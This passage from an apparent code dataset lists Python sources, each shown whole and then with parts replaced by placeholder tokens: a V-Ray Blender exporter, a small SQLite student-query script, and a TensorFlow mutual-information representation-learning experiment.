includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\ndef ExportAndRun(engine, scene):\n if engine.test_break():\n return 'Export is interrupted!'\n VRayScene = scene.vray\n o = VRayPluginExporter()\n bus = {'output': o, 'engine': engine, 'scene': scene, 'camera': scene.\n camera, 'skipObjects': set(), 'environment_volume': set(), 'gizmos':\n set(), 'preview': engine.is_preview, 'context': {'node': None},\n 'cache': {'plugins': set(), 'mesh': set()}, 'defaults': {'brdf':\n 'BRDFNOBRDFISSET', 'material': 'MANOMATERIALISSET', 'texture':\n 'TENOTEXTUREIESSET', 'uvwgen': 'DEFAULTUVWC', 'blend':\n 'TEDefaultBlend'}}\n if bus['camera'].type != 'CAMERA':\n return \"Scene's active camera is not of type camera\"\n err = ExportEx(bus)\n if err is not None:\n return err\n err = exp_run.RunEx(bus)\n if err is not None:\n return err\n return None\n\n\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n err = None\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n selected_frame = scene.frame_current\n f = scene.frame_start\n while f <= scene.frame_end:\n scene.frame_set(f)\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n f += scene.frame_step\n scene.frame_set(selected_frame)\n else:\n err = ExportAndRun(engine, scene)\n return err\n", "<import token>\n<assignment token>\n<code token>\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\n<function token>\n\n\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n err = None\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n selected_frame = scene.frame_current\n f = scene.frame_start\n while f <= scene.frame_end:\n scene.frame_set(f)\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n f += scene.frame_step\n scene.frame_set(selected_frame)\n else:\n err = ExportAndRun(engine, scene)\n return err\n", "<import token>\n<assignment token>\n<code token>\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<code token>\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\n<function token>\n<function token>\n<function token>\n", "<import token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]

[ "import csv\nimport re\nimport sys\nfrom sys import argv, exit\nimport itertools\n\n# if len(argv) != 2:\n# print(\"Usage: python dna.py data.csv\")\n# exit(1)\n# house=argv[1]\n\nhouse='Slytherin'\n\nimport sqlite3\nconn = sqlite3.connect('students.db')\nc = conn.cursor()\n\nfor row in c.execute('SELECT first,middle,last,house,birth FROM students WHERE house=? ORDER BY last,first',(house,)):\n if row[1]=='NULL':\n print(row[0],row[2],', born',row[4])\n else:\n print(row[0],row[1],row[2],', born',row[4])\n \n\n", "import csv\nimport re\nimport sys\nfrom sys import argv, exit\nimport itertools\nhouse = 'Slytherin'\nimport sqlite3\nconn = sqlite3.connect('students.db')\nc = conn.cursor()\nfor row in c.execute(\n 'SELECT first,middle,last,house,birth FROM students WHERE house=? ORDER BY last,first'\n , (house,)):\n if row[1] == 'NULL':\n print(row[0], row[2], ', born', row[4])\n else:\n print(row[0], row[1], row[2], ', born', row[4])\n", "<import token>\nhouse = 'Slytherin'\n<import token>\nconn = sqlite3.connect('students.db')\nc = conn.cursor()\nfor row in c.execute(\n 'SELECT first,middle,last,house,birth FROM students WHERE house=? ORDER BY last,first'\n , (house,)):\n if row[1] == 'NULL':\n print(row[0], row[2], ', born', row[4])\n else:\n print(row[0], row[1], row[2], ', born', row[4])\n", "<import token>\n<assignment token>\n<import token>\n<assignment token>\nfor row in c.execute(\n 'SELECT first,middle,last,house,birth FROM students WHERE house=? ORDER BY last,first'\n , (house,)):\n if row[1] == 'NULL':\n print(row[0], row[2], ', born', row[4])\n else:\n print(row[0], row[1], row[2], ', born', row[4])\n", "<import token>\n<assignment token>\n<import token>\n<assignment token>\n<code token>\n" ]

[ "# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# reference links:\n# From https://colab.research.google.com/github/google-research/google-research/blob/master/vbmi/vbmi_demo.ipynb\n# https://github.com/google-research/google-research/blob/master/mutual_information_representation_learning/mirl.ipynb\n# https://github.com/yaohungt/Pointwise_Dependency_Neural_Estimation/tree/master/RepreLearn_Shallow\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport copy\nimport functools\nimport itertools\nimport os\nimport pickle\nimport argparse\nfrom matplotlib import pyplot as plt\nfrom matplotlib.ticker import FuncFormatter\nimport numpy as np\nimport pandas as pd\nfrom scipy.ndimage import gaussian_filter1d\nimport seaborn as sns\nimport tensorflow as tf\nfrom tensorflow.python.ops.parallel_for import gradients\nimport tensorflow_datasets as tfds\nimport tensorflow_probability as tfp\nimport sklearn.linear_model as sk_linear\n\nparser = argparse.ArgumentParser(description='Representation Learning Experiments')\nparser.add_argument('--dataset', default='mnist', type=str, \n help='cifar10 or mnist')\nparser.add_argument('--lr', default=1e-4, type=float, \n help='learning rate')\nparser.add_argument('--batch_size', default=100, type=int, \n help='mini batch size')\nparser.add_argument('--smoothing', default=0.01, type=float,\n help='label smoothing parameter')\nparser.add_argument('--output_dir', type=str, default='./runs',\n help='directory where the results will be stored')\n\nargs = parser.parse_args()\na, b, c = 0.005, 0.1, 0.9\nif not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\n# learning rate for ours CIFAR10 is 1e-4, otherwise follows below\n\nTFDS_NAME = args.dataset #\"cifar10\" # mnist or cifar10\nNRUNS = 10 #@param { type: \"slider\", min: 1, max: 20, step: 1}\n\n# parameters for training\nif TFDS_NAME == \"mnist\":\n DIMS = 784\nelif TFDS_NAME == \"cifar10\":\n DIMS = 3072\nLEARNING_RATE = args.lr #1e-5\nN_CLASSES = 10\nTRAIN_BATCH_SIZE = args.batch_size #64 #@param { type: \"slider\", min: 64, max: 128, step: 64}\n\n# save results\n# RESULT_DIR = '{}_nrun={}_lr={}_batch={}.pkl'.format(TFDS_NAME, NRUNS, LEARNING_RATE, TRAIN_BATCH_SIZE)\nRESULT_DIR = './runs/{}_nrun={}_lr={}_batch={}.pkl'.format(TFDS_NAME, NRUNS, LEARNING_RATE, TRAIN_BATCH_SIZE)\n\nRUN_EXPERIMENTS = True\nFEATURE_INPUT = \"image\"\nFEATURE_LABEL = \"label\"\n\n#slim = tf.contrib.slim\ntfb = tfp.bijectors\ntfd = tfp.distributions\ntfkl = tf.keras.layers\n\ntf.keras.backend.clear_session()\n\nResultsConfig = collections.namedtuple(\n \"ResultsConfig\", [\"nets\", \"critic\", \"loss\"])\n\nResults = collections.namedtuple(\n 'Results',\n ['iterations', 'training_losses', 'testing_losses',\n 'classification_accuracies', 'singular_values'])\n\nResultsAdversarial = collections.namedtuple(\n \"ResultsAdversarial\",\n [\"losses_e\", \"losses_c\", \"classification_accuracies\", \"iters\"]\n)\n\nResultsSamplingIssues = collections.namedtuple(\n \"ResultsSamplingIssues\", [\"mi_true\", \"nce_estimates_noniid\", \n \"nce_estimates_iid\", \"nwj_estimates_noniid\", \n \"nwj_estimates_iid\"])\n\ndef acti_func(x, a, b, c):\n # y: a\n # x: 0 b c 1\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x<=b, -a*x/b+a, alpha)\n alpha = tf.where((x>b) & (x<c), 0., alpha)\n alpha = tf.where(x>=c, a*x/(1-c)+a*c/(c-1), alpha)\n return alpha\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = \"{}, {}, {}\".format(nets, critic, loss)\n rows = list(\n zip(\n itertools.repeat(exp_name),\n itertools.repeat(nets),\n itertools.repeat(critic),\n itertools.repeat(loss),\n itertools.repeat(seed),\n result.iterations,\n [-loss for loss in result.testing_losses], # Loss -> bound.\n result.classification_accuracies,\n itertools.repeat(label)))\n df_eval = pd.DataFrame(\n rows,\n columns=(\"exp_name\", \"nets\", \"Critic\", \"Estimator\",\n \"run\", \"iteration\", \"bound_value\", \"accuracy\", \"label\"))\n\n df_eval[\"Estimator\"] = df_eval[\"Estimator\"].replace(\n to_replace={\n \"cpc\": \"$CPC$\",\n \"pcc\": \"$PCC$\",\n \"drfc\": \"$D-RFC$\",\n \"wpc\": \"$WPC$\"\n })\n df_eval[\"Critic\"] = df_eval[\"Critic\"].replace(\n to_replace={\n \"concat\": \"MLP\",\n \"separable\": \"Separable\",\n \"innerprod\": \"Inner product\",\n \"bilinear\": \"Bilinear\"\n })\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(\n FuncFormatter(lambda x, p: format(int(x/1000), ',')))\n ax.set_xlabel(\"Training steps (in thousands)\")\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc=\"lower right\", handles=handles[1:], labels=labels[1:])\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i+batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss,\n feed_dict={data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(\n session.run(codes,\n feed_dict={data_ph: x_array[i:i+batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.\n else:\n num_elem = batch_size * (batch_size - 1.)\n return logsumexp - tf.math.log(num_elem)\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n # First term is an expectation over samples from the joint,\n # which are the diagonal elmements of the scores matrix.\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n # Second term is an expectation over samples from the marginal,\n # which are the off-diagonal elements of the scores matrix.\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1. + joint_term - marg_term\n\ndef nwj_lower_bound(scores):\n # equivalent to: tuba_lower_bound(scores, log_baseline=1.)\n return tuba_lower_bound(scores - 1.) \n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.softplus(f_diag))) / (n * (n - 1.))\n return first_term - second_term\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\[email protected]\ndef our_lower_bound(scores):\n # scores: 128, 128\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n\n # expectation\n scores_sq = scores**2\n marg_num = batch_size * (batch_size - 1.)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n # tf.print(joint_term - 0.5*marg_term)\n return joint_term - 0.5*marg_term\n\n\n # nll = tf.reduce_mean(tf.linalg.diag_part(scores) - 0.5 * tf.math.reduce_euclidean_norm(scores, axis=1))\n # tf.print(nll)\n # mi = tf.math.log(tf.cast(scores.shape[0].value, tf.float32)) + nll\n # return mi\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1/n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.softplus(f_diag))) / (n * (n - 1.))\n return alpha*first_term - (1-alpha)*second_term\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels,[-1,1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1,1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels,[-1,1])\n # labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1,1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels,[-1,1])\n # labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1,1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels,[-1,1])\n # labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1,1])\n # print('pre_prob:',pre_prob)\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n# @title Define the linear evaluation protocol { display-mode: \"form\" }\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(\n solver='saga', multi_class='multinomial', tol=.1, C=10.)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n# @title Define and load the dataset, check baseline in pixel space { display-mode: \"form\" }\n\ntf.compat.v1.reset_default_graph()\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1]) # Flatten.\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\ndef load_data(split):\n return (tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split)\n .cache()\n .map(map_func=map_fn)\n .shuffle(1000))\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\ndataset_train = load_data(\"train\")\ndataset_test = load_data(\"test\")\nx_train, y_train = tfds_to_np(dataset_train)\nx_test, y_test = tfds_to_np(dataset_test)\ntf.compat.v1.reset_default_graph()\n\nx_train_noisy = x_train + 0.05 * np.random.randn(*x_train.shape)\nx_test_noisy = x_test + 0.05 * np.random.randn(*x_test.shape)\nprint(\"Fit on half the pixels: {}. It should be around 0.835.\".format(\n logistic_fit(x_train_noisy[:, :DIMS//2], y_train,\n x_test_noisy[:, :DIMS//2], y_test)))\n\ndef processed_train_data(dims, batch_size):\n dataset = load_data(\"train\")\n dataset_batched = dataset.repeat().batch(batch_size, drop_remainder=True)\n get_next = tf.compat.v1.data.make_one_shot_iterator(dataset_batched).get_next()\n features = get_next[FEATURE_INPUT]\n labels = get_next[FEATURE_LABEL]\n # Martin: where the problem occurs\n x_1, x_2 = tf.split(features, [dims, DIMS-dims], axis=-1)\n return x_1, x_2, labels\n\nclass MLP(tf.keras.Model):\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs)\n for dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy[\"activation\"] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\n# LayerNorm implementation copied from\n# https://stackoverflow.com/questions/39095252/fail-to-implement-layer-normalization-with-keras\nclass LayerNorm(tfkl.Layer):\n\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1,2,3], epsilon=1e-6, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],),\n initializer=self.scale_initializer,\n trainable=True,\n name='{}_scale'.format(self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],),\n initializer=self.bias_initializer,\n 